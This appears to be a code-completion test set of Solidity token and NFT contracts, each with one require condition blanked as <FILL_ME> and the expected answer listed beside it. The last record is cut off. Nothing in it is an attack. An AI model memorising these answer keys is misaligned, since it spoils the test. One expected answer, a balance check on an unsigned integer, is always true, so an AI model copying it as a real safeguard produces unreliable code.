// Merkle Root for Whale (Tier 2) Whitelist (8 mints)
bytes32 public whaleRoot;
// Merkle Root for Stacker (Tier 3) Whitelist (2 mints)
bytes32 public stackerRoot;
// Mamba Whitelist Active
bool public isMambaActive;
// Whale Whitelist Active
bool public isWhaleActive;
// Stacker Whitelist Active
bool public isStackerActive;
// Public Sale Active
bool public isPublicSaleActive;
// Reveal
bool public revealed;
// Price
uint256 public constant price = 0.88 ether;
// Max Amount
uint256 public constant maxAmount = 8888;
// Base URI
string private baseURI;
// Tracks redeem count for public sale
mapping(address => uint256) private saleRedeemedCount;
// Max per wallet for Mamba Whitelist
uint256 private constant mambaMaxPerWallet = 18;
// Max per wallet for Whale Whitelist
uint256 private constant whaleMaxPerWallet = 8;
// Max per wallet for Stacker Whitelist
uint256 private constant stackerMaxPerWallet = 2;
// Max mints per wallet for public sale
uint256 private constant publicSaleMaxPerWallet = 88;
// KEYS Contract
address private constant KEYS = 0xe0a189C975e4928222978A74517442239a0b86ff;
// Locked KEYS Contract
address private constant LOCKED_KEYS = 0x08DC692FE528fFEcF675Ab3f76981553e060Fd8A;
// 100 KEYS needed for minting
uint256 public keysNeededForMinting = 97 * 10**9;
/////////////////////////////////////////////////////////////////
///////////////////// CONSTRUCTOR /////////////////////////////
/////////////////////////////////////////////////////////////////
constructor()
ERC721A("MetaMansions", "MM", 18) {}
// Receive function in case someone wants to donate some ETH to the contract
receive() external payable {}
/////////////////////////////////////////////////////////////////
///////////////////// MINT FUNCTIONALITY //////////////////////
/////////////////////////////////////////////////////////////////
function mint(uint32 quantity, bytes32[] calldata proof, uint32 tier) external payable {
}
function mint(uint256 quantity) external payable {
}
function mint(address to, uint256 quantity) external onlyOwner {
}
function _mintToken(address to, uint256 quantity) internal {
}
// Gives the tokenURI for a given tokenId
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function _baseURI() internal view override returns (string memory) {
}
function getTotalClaimed(address address_) external view returns (uint256) {
}
/////////////////////////////////////////////////////////////////
///////////////////// OWNER ONLY //////////////////////////////
/////////////////////////////////////////////////////////////////
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function setMambaRoot(bytes32 root) external onlyOwner {
}
function setWhaleRoot(bytes32 root) external onlyOwner {
}
function setStackerRoot(bytes32 root) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function toggleMambaActive() external onlyOwner {
}
function toggleWhaleActive() external onlyOwner {
}
function toggleStackerActive() external onlyOwner {
}
function togglePublicSaleActive() external onlyOwner {
}
function withdraw() public onlyOwner {
}
/////////////////////////////////////////////////////////////////
//////////////////////// VALIDATIONS //////////////////////////
/////////////////////////////////////////////////////////////////
function mambaValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function whaleValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function stackerValidation(uint32 quantity, bytes32[] calldata proof) internal {
// Check if the stacker is active
require(isStackerActive, "2");
// Check if whitelist using Merkle Proof
require(<FILL_ME>)
// Add quantity to total redeemed count of sender
saleRedeemedCount[_msgSender()] += quantity;
// Check if Stacker WL already minted
require(saleRedeemedCount[_msgSender()] <= stackerMaxPerWallet, "8");
}
function hasKeys(address receiver) public view returns (bool) {
}
function _purchaseKEYS(address receiver) internal {
}
}
| MerkleProof.verify(proof,stackerRoot,keccak256(abi.encodePacked(_msgSender()))),"7" | 39,193 | MerkleProof.verify(proof,stackerRoot,keccak256(abi.encodePacked(_msgSender()))) |
"8" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./ERC721A.sol";
import "./SafeMath.sol";
interface IKeys {
function purchaseTokenForAddress(address receiver) external payable;
}
/*
Welcome to Meta Mansions, a collection of 8,888 unique digital mansions
built on Ethereum as the core residency of the KEYS Metaverse.
Meta Mansions is more than an NFT; it’s part of your identity.
Utilities include customization of interior spaces, active & passive income streams,
a powerful community, and priority access for special events in real life and
inside the KEYS Metaverse.
World-renown architects, builders, game designers, businesses, brands,
musicians, athletes, and web3 enthusiasts connect to create a decentralized future.
Let’s re-imagine the way we live, work, play, earn, and learn by
creating the next wave of real estate and the KEYS Metaverse experience.
Join our community
Discord: https://discord.gg/keystoken
Instagram: https://www.instagram.com/metamansions.nft
Twitter: https://www.twitter.com/metamansionsnft
*/
contract MetaMansions is ERC721A, Ownable {
using SafeMath for uint256;
// Merkle Root for Mamba (Tier 1) Whitelist (18 mints)
bytes32 public mambaRoot;
// Merkle Root for Whale (Tier 2) Whitelist (8 mints)
bytes32 public whaleRoot;
// Merkle Root for Stacker (Tier 3) Whitelist (2 mints)
bytes32 public stackerRoot;
// Mamba Whitelist Active
bool public isMambaActive;
// Whale Whitelist Active
bool public isWhaleActive;
// Stacker Whitelist Active
bool public isStackerActive;
// Public Sale Active
bool public isPublicSaleActive;
// Reveal
bool public revealed;
// Price
uint256 public constant price = 0.88 ether;
// Max Amount
uint256 public constant maxAmount = 8888;
// Base URI
string private baseURI;
// Tracks redeem count for public sale
mapping(address => uint256) private saleRedeemedCount;
// Max per wallet for Mamba Whitelist
uint256 private constant mambaMaxPerWallet = 18;
// Max per wallet for Whale Whitelist
uint256 private constant whaleMaxPerWallet = 8;
// Max per wallet for Stacker Whitelist
uint256 private constant stackerMaxPerWallet = 2;
// Max mints per wallet for public sale
uint256 private constant publicSaleMaxPerWallet = 88;
// KEYS Contract
address private constant KEYS = 0xe0a189C975e4928222978A74517442239a0b86ff;
// Locked KEYS Contract
address private constant LOCKED_KEYS = 0x08DC692FE528fFEcF675Ab3f76981553e060Fd8A;
// 100 KEYS needed for minting
uint256 public keysNeededForMinting = 97 * 10**9;
/////////////////////////////////////////////////////////////////
///////////////////// CONSTRUCTOR /////////////////////////////
/////////////////////////////////////////////////////////////////
constructor()
ERC721A("MetaMansions", "MM", 18) {}
// Receive function in case someone wants to donate some ETH to the contract
receive() external payable {}
/////////////////////////////////////////////////////////////////
///////////////////// MINT FUNCTIONALITY //////////////////////
/////////////////////////////////////////////////////////////////
function mint(uint32 quantity, bytes32[] calldata proof, uint32 tier) external payable {
}
function mint(uint256 quantity) external payable {
}
function mint(address to, uint256 quantity) external onlyOwner {
}
function _mintToken(address to, uint256 quantity) internal {
}
// Gives the tokenURI for a given tokenId
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function _baseURI() internal view override returns (string memory) {
}
function getTotalClaimed(address address_) external view returns (uint256) {
}
/////////////////////////////////////////////////////////////////
///////////////////// OWNER ONLY //////////////////////////////
/////////////////////////////////////////////////////////////////
function setBaseURI(string memory baseURI_) external onlyOwner {
}
function setMambaRoot(bytes32 root) external onlyOwner {
}
function setWhaleRoot(bytes32 root) external onlyOwner {
}
function setStackerRoot(bytes32 root) external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function toggleMambaActive() external onlyOwner {
}
function toggleWhaleActive() external onlyOwner {
}
function toggleStackerActive() external onlyOwner {
}
function togglePublicSaleActive() external onlyOwner {
}
function withdraw() public onlyOwner {
}
/////////////////////////////////////////////////////////////////
//////////////////////// VALIDATIONS //////////////////////////
/////////////////////////////////////////////////////////////////
function mambaValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function whaleValidation(uint32 quantity, bytes32[] calldata proof) internal {
}
function stackerValidation(uint32 quantity, bytes32[] calldata proof) internal {
// Check if the stacker is active
require(isStackerActive, "2");
// Check if whitelist using Merkle Proof
require(
MerkleProof.verify(
proof,
stackerRoot,
keccak256(abi.encodePacked(_msgSender()))
),
"7"
);
// Add quantity to total redeemed count of sender
saleRedeemedCount[_msgSender()] += quantity;
// Check if Stacker WL already minted
require(<FILL_ME>)
}
function hasKeys(address receiver) public view returns (bool) {
}
function _purchaseKEYS(address receiver) internal {
}
}
| saleRedeemedCount[_msgSender()]<=stackerMaxPerWallet,"8" | 39,193 | saleRedeemedCount[_msgSender()]<=stackerMaxPerWallet |
"User balance not sufficient" | pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner)
public
onlyOwner
returns (bool)
{
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public view returns (uint);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(
address owner,
address spender) public view returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
/**
* @dev additional variables for use if transaction fees ever became necessary
*/
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint balance) {
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint
_value
)
public
onlyPayloadSize(3 * 32)
{
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(
address _spender,
uint _value
)
public
onlyPayloadSize(2 * 32)
{
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender)
public
view
returns (uint remaining)
{
}
}
/**
* @title Pausable
*
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
}
/**
* @dev Called by the owner to pause, triggers stopped state
* @return Operation succeeded.
*/
function pause()
public
onlyOwner
whenNotPaused
returns (bool)
{
}
/**
* @dev Called by the owner to unpause, returns to normal state
*/
function unpause()
public
onlyOwner
whenPaused
returns (bool)
{
}
}
/**
* @title BlackList
*
* @dev Base contract which allows the owner to blacklist a stakeholder and destroy its tokens.
*/
contract BlackList is Ownable, BasicToken {
mapping (address => bool) public isBlackListed;
event DestroyedBlackFunds(address _blackListedUser, uint _balance, uint _destroyed);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
/**
* @dev Add address to blacklist.
* @param _evilUser Address to be blacklisted.
* @return Operation succeeded.
*/
function addBlackList (address _evilUser)
public
onlyOwner
returns (bool)
{
}
/**
* @dev Remove address from blacklist.
* @param _clearedUser Address to removed from blacklist.
* @return Operation succeeded.
*/
function removeBlackList (address _clearedUser)
public
onlyOwner
returns (bool)
{
}
/**
* @dev Destroy funds of the blacklisted user.
* @param _blackListedUser Address of whom to destroy the funds.
* @param _amount Amounts of funds to be destroyed.
* @return Operation succeeded.
*/
function destroyBlackFunds (address _blackListedUser, uint _amount)
public
onlyOwner
returns (bool)
{
require(isBlackListed[_blackListedUser], "User is not blacklisted");
require(_amount != 0, "_amount == 0");
require(<FILL_ME>)
uint leftover = balanceOf(_blackListedUser) - _amount;
balances[_blackListedUser] = leftover;
_totalSupply -= _amount;
emit DestroyedBlackFunds(_blackListedUser, leftover, _amount);
return true;
}
}
/**
* @title UpgradedStandardToken
*
* @dev Interface to submit calls from the current SC to a new one.
*/
contract UpgradedStandardToken is StandardToken{
/**
* @dev Methods called by the legacy contract
* and they must ensure msg.sender to be the contract address.
*/
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(
address sender,
address from,
address spender,
uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
/**
* @title BackedToken
*
* @dev ERC20 token backed by some asset periodically audited reserve.
*/
contract BackedToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
/**
* @dev Constructor.
* @param _initialSupply Initial total supply.
* @param _name Token name.
* @param _symbol Token symbol.
* @param _decimals Token decimals.
*/
constructor (
uint _initialSupply,
string _name,
string _symbol,
uint _decimals
) public {
}
/**
* @dev Revert whatever no named function is called.
*/
function() public payable {
}
/**
* @dev ERC20 overwritten functions.
*/
function transfer(address _to, uint _value) public whenNotPaused {
}
function transferFrom(
address _from,
address _to,
uint _value
)
public
whenNotPaused
{
}
function balanceOf(address who) public view returns (uint) {
}
function approve(
address _spender,
uint _value
)
public
onlyPayloadSize(2 * 32)
{
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint remaining)
{
}
function totalSupply() public view returns (uint) {
}
/**
* @dev Issue tokens. These tokens are added to the Owner address and to the _totalSupply.
* @param amount Amount of the token to be issued to the owner balance adding it to the _totalSupply.
* @return Operation succeeded.
*/
function issue(uint amount)
public
onlyOwner
returns (bool)
{
}
/**
* @dev Redeem tokens. These tokens are withdrawn from the Owner address.
* The balance must be enough to cover the redeem or the call will fail.
* @param amount Amount of the token to be subtracted from the _totalSupply and the Owner balance.
* @return Operation succeeded.
*/
function redeem(uint amount)
public
onlyOwner
returns (bool)
{
}
/**
* @dev Set the current SC as deprecated.
* @param _upgradedAddress The new SC address to be pointed from this SC.
* @return Operation succeeded.
*/
function deprecate(address _upgradedAddress)
public
onlyOwner
returns (bool)
{
}
/**
* @dev Set fee params. The params has an hardcoded limit.
* @param newBasisPoints The maker order object.
* @param newMaxFee The amount of tokens going to the taker.
* @return Operation succeeded.
*/
function setParams(
uint newBasisPoints,
uint newMaxFee
)
public
onlyOwner
returns (bool)
{
}
/**
* @dev Selfdestruct the contract. Callable only from the owner.
*/
function kill()
public
onlyOwner
{
}
}
| balanceOf(_blackListedUser)-_amount>=0,"User balance not sufficient" | 39,276 | balanceOf(_blackListedUser)-_amount>=0 |
'Moderator: caller is not the moderator' | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.4;
import '@openzeppelin/contracts/utils/Context.sol';
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an moderator) that can be granted exclusive access to
* specific functions.
*
* By default, the moderator account will be the one that deploys the contract. This
* can later be changed with {transferModeratorship}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyModerator`, which can be applied to your functions to restrict their use to
* the moderator.
*/
abstract contract Moderable is Context {
address private _moderator;
event ModeratorTransferred(address indexed previousModerator, address indexed newModerator);
/**
* @dev Initializes the contract setting the deployer as the initial moderator.
*/
constructor() {
}
/**
* @dev Returns the address of the current moderator.
*/
function moderator() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the moderator.
*/
modifier onlyModerator() {
require(<FILL_ME>)
_;
}
/**
* @dev Leaves the contract without moderator. It will not be possible to call
* `onlyModerator` functions anymore. Can only be called by the current moderator.
*
* NOTE: Renouncing moderatorship will leave the contract without an moderator,
* thereby removing any functionality that is only available to the moderator.
*/
function renounceModeratorship() public virtual onlyModerator {
}
/**
* @dev Transfers moderatorship of the contract to a new account (`newModeratorship`).
* Can only be called by the current moderator.
*/
function transferModeratorship(address newModerator) public virtual onlyModerator {
}
}
| moderator()==_msgSender(),'Moderator: caller is not the moderator' | 39,323 | moderator()==_msgSender() |
null | pragma solidity ^0.4.18;
/*
Copyright 2017, Debdoot Das (IDIOT IQ)
Copyright 2017, Jordi Baylina (Giveth)
Based on MineMeToken.sol from https://github.com/Giveth/minime
*/
/// @dev The token controller contract must implement these functions
contract TokenController {
/// @notice Called when `_owner` sends ether to the MiniMe Token contract
/// @param _owner The address that sent the ether to create tokens
/// @return True if the ether is accepted, false if it throws
function proxyPayment(address _owner) payable returns(bool);
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) returns(bool);
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount)
returns(bool);
}
contract Controlled {
/// @notice The address of the controller is the only address that can call
/// a function with this modifier
modifier onlyController { }
address public controller;
function Controlled() { }
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) onlyController {
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
/// @dev The actual token contract, the default controller is the msg.sender
/// that deploys the contract, so usually this token will be deployed by a
/// token controller contract, which Giveth will call a "Campaign"
contract MisToken is Controlled {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
string public version = 'MMT_0.1'; //An arbitrary versioning scheme
/// @dev `Checkpoint` is the structure that attaches a block number to a
/// given value, the block number attached is the one that last changed the
/// value
struct Checkpoint {
// `fromBlock` is the block number that the value was generated from
uint128 fromBlock;
// `value` is the amount of tokens at a specific block number
uint128 value;
}
// `parentToken` is the Token address that was cloned to produce this token;
// it will be 0x0 for a token that was not cloned
MisToken public parentToken;
// `parentSnapShotBlock` is the block number from the Parent Token that was
// used to determine the initial distribution of the Clone Token
uint public parentSnapShotBlock;
// `creationBlock` is the block number that the Clone Token was created
uint public creationBlock;
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the block number that the change
// occurred is also included in the map
mapping (address => Checkpoint[]) balances;
// `allowed` tracks any extra transfer rights as in all ERC20 tokens
mapping (address => mapping (address => uint256)) allowed;
// Tracks the history of the `totalSupply` of the token
Checkpoint[] totalSupplyHistory;
// Flag that determines if the token is transferable or not.
bool public transfersEnabled;
// The factory used to create new clone tokens
MisTokenFactory public tokenFactory;
////////////////
// Constructor
////////////////
/// @notice Constructor to create a MisToken
/// @param _tokenFactory The address of the MisTokenFactory contract that
/// will create the Clone token contracts, the token factory needs to be
/// deployed first
/// @param _parentToken Address of the parent token, set to 0x0 if it is a
/// new token
/// @param _parentSnapShotBlock Block of the parent token that will
/// determine the initial distribution of the clone token, set to 0 if it
/// is a new token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
function MisToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
}
///////////////////
// ERC20 Methods
///////////////////
/// @notice Send `_amount` tokens to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _amount) returns (bool success) {
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
// Do not allow transfer to 0x0 or the token contract itself
require((_to != 0) && (_to != address(this)));
// If the amount being transfered is more than the balance of the
// account the transfer returns false
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
// Alerts the token controller of the transfer
if (isContract(controller)) {
require(<FILL_ME>)
}
// First update the balance array with the new value for the address
// sending the tokens
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
// Then update the balance array with the new value for the address
// receiving the tokens
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
// An event to make the transfer easy to find on the blockchain
Transfer(_from, _to, _amount);
return true;
}
/// @param _owner The address that's balance is being requested
/// @return The balance of `_owner` at the current block
function balanceOf(address _owner) constant returns (uint256 balance) {
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) returns (bool success) {
}
/// @dev This function makes it easy to read the `allowed[]` map
/// @param _owner The address of the account that owns the token
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address _owner, address _spender
) constant returns (uint256 remaining) {
}
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param _spender The address of the contract able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
}
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply() constant returns (uint) {
}
////////////////
// Query balance and totalSupply in History
////////////////
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfAt(address _owner, uint _blockNumber) constant
returns (uint) {
}
/// @notice Total amount of tokens at a specific `_blockNumber`.
/// @param _blockNumber The block number when the totalSupply is queried
/// @return The total amount of tokens at `_blockNumber`
function totalSupplyAt(uint _blockNumber) constant returns(uint) {
}
////////////////
// Clone Token Method
////////////////
/// @notice Creates a new clone token with the initial distribution being
/// this token at `_snapshotBlock`
/// @param _cloneTokenName Name of the clone token
/// @param _cloneDecimalUnits Number of decimals of the smallest unit
/// @param _cloneTokenSymbol Symbol of the clone token
/// @param _snapshotBlock Block when the distribution of the parent token is
/// copied to set the initial distribution of the new clone token;
/// if the block is zero than the actual block, the current block is used
/// @param _transfersEnabled True if transfers are allowed in the clone
/// @return The address of the new MisToken Contract
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) returns(address) {
}
////////////////
// Generate and destroy tokens
////////////////
/// @notice Generates `_amount` tokens that are assigned to `_owner`
/// @param _owner The address that will be assigned the new tokens
/// @param _amount The quantity of tokens generated
/// @return True if the tokens are generated correctly
function generateTokens(address _owner, uint _amount
) onlyController returns (bool) {
}
/// @notice Burns `_amount` tokens from `_owner`
/// @param _owner The address that will lose the tokens
/// @param _amount The quantity of tokens to burn
/// @return True if the tokens are burned correctly
function destroyTokens(address _owner, uint _amount
) onlyController returns (bool) {
}
////////////////
// Enable tokens transfers
////////////////
/// @notice Enables token holders to transfer their tokens freely if true
/// @param _transfersEnabled True if transfers are allowed in the clone
function enableTransfers(bool _transfersEnabled) onlyController {
}
////////////////
// Internal helper functions to query and set a value in a snapshot array
////////////////
/// @dev `getValueAt` retrieves the number of tokens at a given block number
/// @param checkpoints The history of values being queried
/// @param _block The block number to retrieve the value at
/// @return The number of tokens being queried
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
}
/// @dev `updateValueAtNow` used to update the `balances` map and the
/// `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of tokens
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
}
/// @dev Internal function to determine if an address is a contract
/// @param _addr The address being queried
/// @return True if `_addr` is a contract
function isContract(address _addr) constant internal returns(bool) {
}
/// @dev Helper function to return a min betwen the two uints
function min(uint a, uint b) internal returns (uint) {
}
/// @notice The fallback function: If the contract's controller has not been
/// set to 0, then the `proxyPayment` method is called which relays the
/// ether and creates tokens as described in the token controller contract
function () payable {
}
//////////
// Safety Methods
//////////
/// @notice This method can be used by the controller to extract mistakenly
/// sent tokens to this contract.
/// @param _token The address of the token contract that you want to recover
/// set to 0 in case you want to extract ether.
function claimTokens(address _token) onlyController {
}
////////////////
// Events
////////////////
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
////////////////
// MisTokenFactory
////////////////
/// @dev This contract is used to generate clone contracts from a contract.
/// In solidity this is the way to create a contract from a contract of the
/// same class
contract MisTokenFactory {
/// @notice Update the DApp by creating a new token with new functionalities
/// the msg.sender becomes the controller of this clone token
/// @param _parentToken Address of the token being cloned
/// @param _snapshotBlock Block of the parent token that will
/// determine the initial distribution of the clone token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
/// @return The address of the new token contract
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MisToken) {
}
}
contract MISTOKEN is MisToken {
// @dev MISTOKEN constructor just parametrizes the MisToken constructor
function MISTOKEN(
) MisToken(
0x693a9cFbACe1B67558E78ce2D081965193002223, // address of tokenfactory
0x0, // no parent token
0, // no snapshot block number from parent
"MISTOKEN", // Token name
18, // Decimals
"MISO", // Symbol
true // Enable transfers
) {}
}
| TokenController(controller).onTransfer(_from,_to,_amount) | 39,324 | TokenController(controller).onTransfer(_from,_to,_amount) |
null | pragma solidity ^0.4.18;
/*
Copyright 2017, Debdoot Das (IDIOT IQ)
Copyright 2017, Jordi Baylina (Giveth)
Based on MineMeToken.sol from https://github.com/Giveth/minime
*/
/// @dev The token controller contract must implement these functions
contract TokenController {
/// @notice Called when `_owner` sends ether to the MiniMe Token contract
/// @param _owner The address that sent the ether to create tokens
/// @return True if the ether is accepted, false if it throws
function proxyPayment(address _owner) payable returns(bool);
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) returns(bool);
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount)
returns(bool);
}
contract Controlled {
/// @notice The address of the controller is the only address that can call
/// a function with this modifier
modifier onlyController { }
address public controller;
function Controlled() { }
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) onlyController {
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
/// @dev The actual token contract, the default controller is the msg.sender
/// that deploys the contract, so usually this token will be deployed by a
/// token controller contract, which Giveth will call a "Campaign"
contract MisToken is Controlled {
string public name; //The Token's name: e.g. DigixDAO Tokens
uint8 public decimals; //Number of decimals of the smallest unit
string public symbol; //An identifier: e.g. REP
string public version = 'MMT_0.1'; //An arbitrary versioning scheme
/// @dev `Checkpoint` is the structure that attaches a block number to a
/// given value, the block number attached is the one that last changed the
/// value
struct Checkpoint {
// `fromBlock` is the block number that the value was generated from
uint128 fromBlock;
// `value` is the amount of tokens at a specific block number
uint128 value;
}
// `parentToken` is the Token address that was cloned to produce this token;
// it will be 0x0 for a token that was not cloned
MisToken public parentToken;
